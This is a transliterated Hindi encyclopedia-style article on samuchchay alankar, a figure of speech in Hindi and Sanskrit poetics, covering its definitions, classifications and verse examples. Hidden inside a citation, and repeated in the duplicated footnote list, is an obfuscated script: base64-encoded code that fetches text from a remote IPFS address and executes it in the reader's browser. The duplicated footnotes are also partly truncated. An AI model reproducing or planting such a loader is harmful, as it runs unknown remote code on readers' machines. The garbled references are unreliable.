समुच्चय अलंकार

samuchchay alankar 'alankar chandroday' ke anusar hindi kavita mean prayukt hone vala ek alankar hai. yah vakyanyayamool arthalankar hota hai, jisamean kisi kary ki siddhi ke hetu tuly bal vale anek padarthoan ka samuchchay hota hai.

arth

'samuchchay' ka arth hai- 'ek sath ikattha hona.' prastut alankar ki pravritti 'vikalp' ke sarvatha viparit hai. usamean-do tuly bal vale padarthoan mean ek hi kal aur sthiti mean virodh hota hai, kiantu isamean tuly bal valoan ki kal mean ekatr sthiti hoti hai. rudrat tatha ruyyak se is alankar ki vivechana nirantar hoti rahi hai. rudrat ne samuchchay ko trividh dash, asath tatha sadasath ke yog ke anusar mana hai^[1] arthath kary ke uttam sadhanoan ka yog, asath sadhanoan ka yog tatha sath, asath donoan ka yog.^[2]

tin bhed

mammat ke anusar- "tatsiddhihetavekasminh yatrany- tatkar bhaveth"^[3] arthath kisi prastut kary ki siddhi ke varnan mean ek karan ke rahate any karan ka samavesh kiya jana. mammat ne rudrat ke vibhajan ko apane lakshan ke aantargat ghatit batalaya hai aur gun-kriya ke yog se tin bhedoan ka pratipadan kiya hai-

gun ka yog
kriya ka yog
gun-kriya ka yog 'satvanyo yugapath ya gunakriya:' (vahi)

'sahityadarpan' ke lekhak vishvanath ne is mat ko svikar kiya hai.

hindi ke acharyoan ne is alankar ki vivechana mean jayadev tatha appay dikshit se prerana prapt ki hai, par ye apane drishtikon mean bahut spasht nahian hai. sanskrit ke acharyoan ne pramukhat: samuchchay ke do bhed kiye haian-

pratham samuchchay - kisi kary ki siddhi ke lie ek sadhan ke hone par bhi any sadhanoan ka usi kary ki siddhi ke sahayak tattv ke roop mean kathan kiya jana. hiandi ke acharyoan ne pratham samuchchay ke lakshan "bahut bhaye ek baragi tin ko gugph jo hoy"^[4], "ek bar hi jaham bhayo bahu kajan ko bandh"^[5] adi kiye haian. chiantamani ke 'kavikakalpataru' mean "ekasiddhakar sang mili auri sadhak shey" aur das ke 'kavyanirnay' mean "ekai karata siddhi ke auroan hoani sahai" adhik spasht lakshan hai. isake vistar ki or pray: dhyan nahian diya gaya.^[1]

dvitiy samuchchay - gun ya kriya ka athava gun aur kriya donoan ka ek hi kal mean varnan athava inaki sthiti. par hindi ke acharyoan ke lakshan adhik spasht nahian hai- "bahasi baran bahu het janh ek kajaki siddhi"^[6], athava- "varatu anekan ko jahaan varanat ekai thaur"^[7] adi. kanhaiyalal poddar tatha ramadahin mishr adi adhunik acharyoan ne is vibhajan ko prastut kiya hai.

pratham samuchchay ke prakar

pratham samuchchay ke tin prakar kiye gaye haian-
(k) sadyog - uttam karanoan ke yog ka samuchchay - "tat bachchan puni matu hit bhai bharat as rau. mokahan daras tumhar prabhu, sab mam puny prabhau.^[8] isamean pita dasharath ki asha ram-van-gaman ke lie sadhana roop mean paryapt thi, kiantu usaki siddhi ke lie kaikeyi ki spriha, bharat ki rajy prapti evan munijanoan ke darshan roop uttam sadhanoan ka samuchchay kiya gaya hai.
(kh) asadyog - asath sadhanoan ke yog ka samuchchay - "dhan joban bal agyata, moh mool ik ek. das milean char yoan tahaan, paise kah vivek".^[9] yahaan dhan aur yauvan adi charoan ek ki prapti hi uchit-anuchit ke vivek-nash ke lie paryapt hai, kiantu yahaan charoan asath sadhanoan ka samuchchay kiya gaya hai.
(g) sadayadyog - srath tatha asath karanoan ke yog ka samuchchay - "din ko duti mand su chand sarovar ko arabiand bihin lakhavai.... khul rajasabha gat satahu ye lakhi kantak lau hiyamean chubhi javai"^[10] isamean sath tatha asath donoan prakar ke sadhanoan ka samuchchay hai.

dvitiy samuchchay ke prakar

dvitiy samuchchay ke tin prakar hai-
(k) gun - ek se adhik gun (nirmalata, adhurata adi) ka samuchchay - "suandarata, suruta, prabhuta bhani bhooshan hot hai adar jamai".^[11]
(kh) kriya - anek kriyaoan ka samuchchay - "tab hi te dev dekho devata-si hansati-si, khijhati si rijhati-si roosami risani-si.^[12]
(g) gunakriya - arthath donoan ka ek sath samuchchay - "ali too hi bat de is vijay bina mai kahaan aj jaooan. dina hina adhina thaharakar jahaan shaanti dooan aur paooan", yahaan dina, hina, adhina adi gunoan tatha 'dooan' aur 'paooan' adi kriyaoan ki ek hi kal mean sthiti hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 kavyalankar, 7:19
↑ hindi sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 732 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kavy prabodhini, 10:116
↑ l. l., 277
↑ shi. bhoo., 254
↑ l. l., 271
↑ shi.bhri., 256
↑ ra. ch. ma. 2
↑ ka. ni., 15
↑ ruyyak se anu. kanhaiyalal poddar
↑ shi. bhoo.: 257
↑ ma. vi.

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[a-1] 1.0 ^1.1 ^1.2 kavyalankar, 7:19

[2] sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 732 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] vy prabodhini, 10:116

[4] . l., 277

[5] shi. bhoo., 254

[6] . l., 271

[7] shi.bhri., 256

[8] ra. ch. ma. 2

[9] . ni., 15

[10] ruyyak se anu. kanhaiyalal poddar

[11] shi. bhoo.: 257

[12] . vi.

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